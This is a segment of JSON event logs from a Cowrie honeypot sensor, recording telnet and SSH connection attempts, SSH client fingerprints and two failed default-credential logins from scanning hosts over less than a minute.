{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:54.507544Z","src_ip":"103.180.212.135","session":"b2b11bd23a1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.16494870185852,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:54.931448Z","src_ip":"209.159.146.115","session":"545051766347","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"web","password":"test","message":"login attempt [web/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:55.329524Z","src_ip":"103.180.212.135","session":"b2b11bd23a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57338,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc6fd90c1de3","protocol":"telnet","message":"New connection: 209.159.146.115:57338 (159.203.135.109:23) [session: bc6fd90c1de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:55.434274Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33086,"dst_ip":"159.203.135.109","dst_port":23,"session":"e940c7ae2b51","protocol":"telnet","message":"New connection: 209.159.146.115:33086 (159.203.135.109:23) [session: e940c7ae2b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:55.717179Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:56.529396Z","src_ip":"103.180.212.135","session":"b2b11bd23a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41224,"dst_ip":"159.203.135.109","dst_port":23,"session":"874423bb0cf6","protocol":"telnet","message":"New connection: 209.159.146.115:41224 (159.203.135.109:23) [session: 874423bb0cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:57.732654Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41634,"dst_ip":"159.203.135.109","dst_port":23,"session":"c304c1f3e394","protocol":"telnet","message":"New connection: 209.159.146.115:41634 (159.203.135.109:23) [session: c304c1f3e394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:57.879837Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42902,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c5d4fba8dd1","protocol":"telnet","message":"New connection: 209.159.146.115:42902 (159.203.135.109:23) [session: 1c5d4fba8dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:58.140938Z"}
{"eventid":"cowrie.session.closed","duration":35.02525019645691,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:58.182395Z","src_ip":"209.159.146.115","session":"9644d2db8365","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44078,"dst_ip":"159.203.135.109","dst_port":23,"session":"9288d0a43302","protocol":"telnet","message":"New connection: 209.159.146.115:44078 (159.203.135.109:23) [session: 9288d0a43302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:58.521517Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46174,"dst_ip":"159.203.135.109","dst_port":23,"session":"02ac022b75c5","protocol":"telnet","message":"New connection: 209.159.146.115:46174 (159.203.135.109:23) [session: 02ac022b75c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:42:59.743785Z"}
{"eventid":"cowrie.session.closed","duration":35.805333852767944,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:00.949305Z","src_ip":"209.159.146.115","session":"181f2a1f47fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40546,"dst_ip":"159.203.135.109","dst_port":23,"session":"35d62f322d0b","protocol":"telnet","message":"New connection: 209.159.146.115:40546 (159.203.135.109:23) [session: 35d62f322d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:01.177957Z"}
{"eventid":"cowrie.session.closed","duration":33.67099332809448,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:01.606857Z","src_ip":"209.159.146.115","session":"2d450920e557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":38142,"dst_ip":"159.203.135.109","dst_port":23,"session":"58074257dbe0","protocol":"telnet","message":"New connection: 45.6.79.189:38142 (159.203.135.109:23) [session: 58074257dbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:02.088535Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43398,"dst_ip":"159.203.135.109","dst_port":23,"session":"0914cacf0862","protocol":"telnet","message":"New connection: 209.159.146.115:43398 (159.203.135.109:23) [session: 0914cacf0862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:02.136788Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60446,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b015a00e099","protocol":"ssh","message":"New connection: 159.203.92.129:60446 (159.203.135.109:22) [session: 8b015a00e099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:02.625465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:02.630254Z","src_ip":"159.203.92.129","session":"8b015a00e099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:02.634113Z","src_ip":"159.203.92.129","session":"8b015a00e099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrey","password":"andrey","message":"login attempt [andrey/andrey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:02.647341Z","src_ip":"159.203.92.129","session":"8b015a00e099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.649747610092163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:02.795904Z","src_ip":"209.159.146.115","session":"6687ff00ba32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43452,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5e332835cab","protocol":"telnet","message":"New connection: 209.159.146.115:43452 (159.203.135.109:23) [session: b5e332835cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:03.171145Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:03.654047Z","src_ip":"159.203.92.129","session":"8b015a00e099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":38040,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb3fd762d769","protocol":"telnet","message":"New connection: 45.6.79.189:38040 (159.203.135.109:23) [session: cb3fd762d769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:04.681363Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57642,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f16d2ad24bc","protocol":"telnet","message":"New connection: 209.159.146.115:57642 (159.203.135.109:23) [session: 7f16d2ad24bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:05.143934Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57658,"dst_ip":"159.203.135.109","dst_port":23,"session":"baf812c5f84d","protocol":"telnet","message":"New connection: 209.159.146.115:57658 (159.203.135.109:23) [session: baf812c5f84d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:05.150620Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57558,"dst_ip":"159.203.135.109","dst_port":23,"session":"acf51f2f0bc1","protocol":"telnet","message":"New connection: 209.159.146.115:57558 (159.203.135.109:23) [session: acf51f2f0bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:06.160098Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59232,"dst_ip":"159.203.135.109","dst_port":23,"session":"91eee638d0bc","protocol":"telnet","message":"New connection: 209.159.146.115:59232 (159.203.135.109:23) [session: 91eee638d0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:06.521070Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f7aa516d750","protocol":"telnet","message":"New connection: 209.159.146.115:37126 (159.203.135.109:23) [session: 8f7aa516d750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:07.237345Z"}
{"eventid":"cowrie.session.closed","duration":33.95738244056702,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:07.541786Z","src_ip":"209.159.146.115","session":"82ff942151cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40200,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec12a09cd809","protocol":"telnet","message":"New connection: 209.159.146.115:40200 (159.203.135.109:23) [session: ec12a09cd809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:08.050825Z"}
{"eventid":"cowrie.session.closed","duration":32.58255338668823,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:08.906938Z","src_ip":"209.159.146.115","session":"1bdec60ff82d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43156,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e2a30bca1f8","protocol":"telnet","message":"New connection: 209.159.146.115:43156 (159.203.135.109:23) [session: 7e2a30bca1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:09.243104Z"}
{"eventid":"cowrie.session.closed","duration":38.312703132629395,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:09.453428Z","src_ip":"209.159.146.115","session":"12983f3b00f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58632,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce7e2d5efd8e","protocol":"telnet","message":"New connection: 209.159.146.115:58632 (159.203.135.109:23) [session: ce7e2d5efd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:13.391684Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36002,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f18260ddcb5","protocol":"telnet","message":"New connection: 209.159.146.115:36002 (159.203.135.109:23) [session: 2f18260ddcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:14.614010Z"}
{"eventid":"cowrie.session.closed","duration":30.782899618148804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:16.371686Z","src_ip":"209.159.146.115","session":"c0bf8fde96d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44790,"dst_ip":"159.203.135.109","dst_port":23,"session":"16569d8823ca","protocol":"telnet","message":"New connection: 209.159.146.115:44790 (159.203.135.109:23) [session: 16569d8823ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:16.410023Z"}
{"eventid":"cowrie.session.closed","duration":40.69306755065918,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:17.013677Z","src_ip":"209.159.146.115","session":"06a87a309c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46682,"dst_ip":"159.203.135.109","dst_port":23,"session":"d83f42d81e21","protocol":"telnet","message":"New connection: 209.159.146.115:46682 (159.203.135.109:23) [session: d83f42d81e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:17.113922Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47398,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d24c35b2973","protocol":"telnet","message":"New connection: 209.159.146.115:47398 (159.203.135.109:23) [session: 7d24c35b2973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:17.405858Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48666,"dst_ip":"159.203.135.109","dst_port":23,"session":"745c1cb0264a","protocol":"telnet","message":"New connection: 209.159.146.115:48666 (159.203.135.109:23) [session: 745c1cb0264a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:17.871369Z"}
{"eventid":"cowrie.session.closed","duration":36.15986728668213,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:19.445290Z","src_ip":"209.159.146.115","session":"697d34db7d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55826,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7622f373871","protocol":"telnet","message":"New connection: 209.159.146.115:55826 (159.203.135.109:23) [session: c7622f373871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:20.091363Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56200,"dst_ip":"159.203.135.109","dst_port":23,"session":"68825935ec9e","protocol":"telnet","message":"New connection: 209.159.146.115:56200 (159.203.135.109:23) [session: 68825935ec9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:20.245706Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34492,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4f0ca3f67e9","protocol":"telnet","message":"New connection: 209.159.146.115:34492 (159.203.135.109:23) [session: a4f0ca3f67e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:22.096048Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34788,"dst_ip":"159.203.135.109","dst_port":23,"session":"bacd50161b5d","protocol":"telnet","message":"New connection: 209.159.146.115:34788 (159.203.135.109:23) [session: bacd50161b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:22.203281Z"}
{"eventid":"cowrie.session.closed","duration":33.65990877151489,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:24.416932Z","src_ip":"209.159.146.115","session":"6346ed2bc8fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44658,"dst_ip":"159.203.135.109","dst_port":23,"session":"726c89be2965","protocol":"telnet","message":"New connection: 209.159.146.115:44658 (159.203.135.109:23) [session: 726c89be2965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:24.624986Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44706,"dst_ip":"159.203.135.109","dst_port":23,"session":"0930eb660b3c","protocol":"telnet","message":"New connection: 209.159.146.115:44706 (159.203.135.109:23) [session: 0930eb660b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:24.659798Z"}
{"eventid":"cowrie.session.closed","duration":31.84927725791931,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:25.291119Z","src_ip":"209.159.146.115","session":"a47a6118df15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.600976943969727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:27.318024Z","src_ip":"209.159.146.115","session":"e940c7ae2b51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.870009660720825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:27.861255Z","src_ip":"209.159.146.115","session":"e016bb6106b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.13209915161133,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:28.566266Z","src_ip":"209.159.146.115","session":"bc6fd90c1de3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38240,"dst_ip":"159.203.135.109","dst_port":23,"session":"da382237c240","protocol":"telnet","message":"New connection: 209.159.146.115:38240 (159.203.135.109:23) [session: da382237c240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:28.898167Z"}
{"eventid":"cowrie.session.closed","duration":31.207319974899292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:29.087045Z","src_ip":"209.159.146.115","session":"c304c1f3e394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52958,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cabb74f19f2","protocol":"telnet","message":"New connection: 209.159.146.115:52958 (159.203.135.109:23) [session: 0cabb74f19f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:30.294220Z"}
{"eventid":"cowrie.session.closed","duration":31.842576026916504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:30.363985Z","src_ip":"209.159.146.115","session":"9288d0a43302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.78801131248474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:30.520522Z","src_ip":"209.159.146.115","session":"874423bb0cf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.60472393035889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:30.745553Z","src_ip":"209.159.146.115","session":"1c5d4fba8dd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07312202453613,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:31.816771Z","src_ip":"209.159.146.115","session":"02ac022b75c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57362,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d0e56a8ab45","protocol":"telnet","message":"New connection: 209.159.146.115:57362 (159.203.135.109:23) [session: 7d0e56a8ab45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:32.547219Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":34544,"dst_ip":"159.203.135.109","dst_port":23,"session":"1035d094e2ff","protocol":"telnet","message":"New connection: 209.159.146.115:34544 (159.203.135.109:23) [session: 1035d094e2ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:33.213334Z"}
{"eventid":"cowrie.session.closed","duration":32.13504099845886,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:33.312663Z","src_ip":"209.159.146.115","session":"35d62f322d0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51028895378113,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:35.647074Z","src_ip":"209.159.146.115","session":"0914cacf0862","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42666,"dst_ip":"159.203.135.109","dst_port":23,"session":"01c37310f177","protocol":"telnet","message":"New connection: 209.159.146.115:42666 (159.203.135.109:23) [session: 01c37310f177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:35.807575Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46148,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aa2c6756e99","protocol":"telnet","message":"New connection: 209.159.146.115:46148 (159.203.135.109:23) [session: 0aa2c6756e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:36.943223Z"}
{"eventid":"cowrie.session.closed","duration":34.361528396606445,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:43:37.532573Z","src_ip":"209.159.146.115","session":"b5e332835cab","protocol":"telnet"}
